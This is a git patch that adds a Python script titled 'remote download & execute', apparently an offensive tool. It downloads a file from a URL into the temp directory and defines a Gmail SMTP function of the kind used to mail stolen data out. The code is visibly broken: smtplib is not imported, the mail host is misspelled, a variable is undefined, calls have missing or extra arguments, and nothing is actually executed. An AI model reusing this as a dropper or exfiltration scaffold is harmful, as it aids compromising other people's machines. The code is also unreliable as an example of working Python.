From 467fa613728824da654e9447f4910a13bd1f40a6 Mon Sep 17 00:00:00 2001 From: darksider Date: Tue, 29 Oct 2019 12:34:29 +0530 Subject: [PATCH] added remote download & execute --- download_execute.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 download_execute.py diff --git a/download_execute.py b/download_execute.py new file mode 100644 index 0000000..910bef8 --- /dev/null +++ b/download_execute.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +import requests, subprocess, os, tempfile + +def download(url): + get_response = requests.get(url) + print(get_response.content) + file_name = url.split("/")[-1] + with open(file_name, "wb") as out_file: + out_file.write(get_response.content) + +def send_email(email, password, message): + server = smtplib.SMTP("smptp.gmail.com", 587) + server.starttls() + server.login(email, password) + server.sendmail(mail, mail, message) + server.quit() + +result=" " +# cross platform way of getting temp dir +temp_directory=tempfile.gettempdir() +# os is also a cross platform module +os.chdir(temp_directory) +download("", result) +os.remove()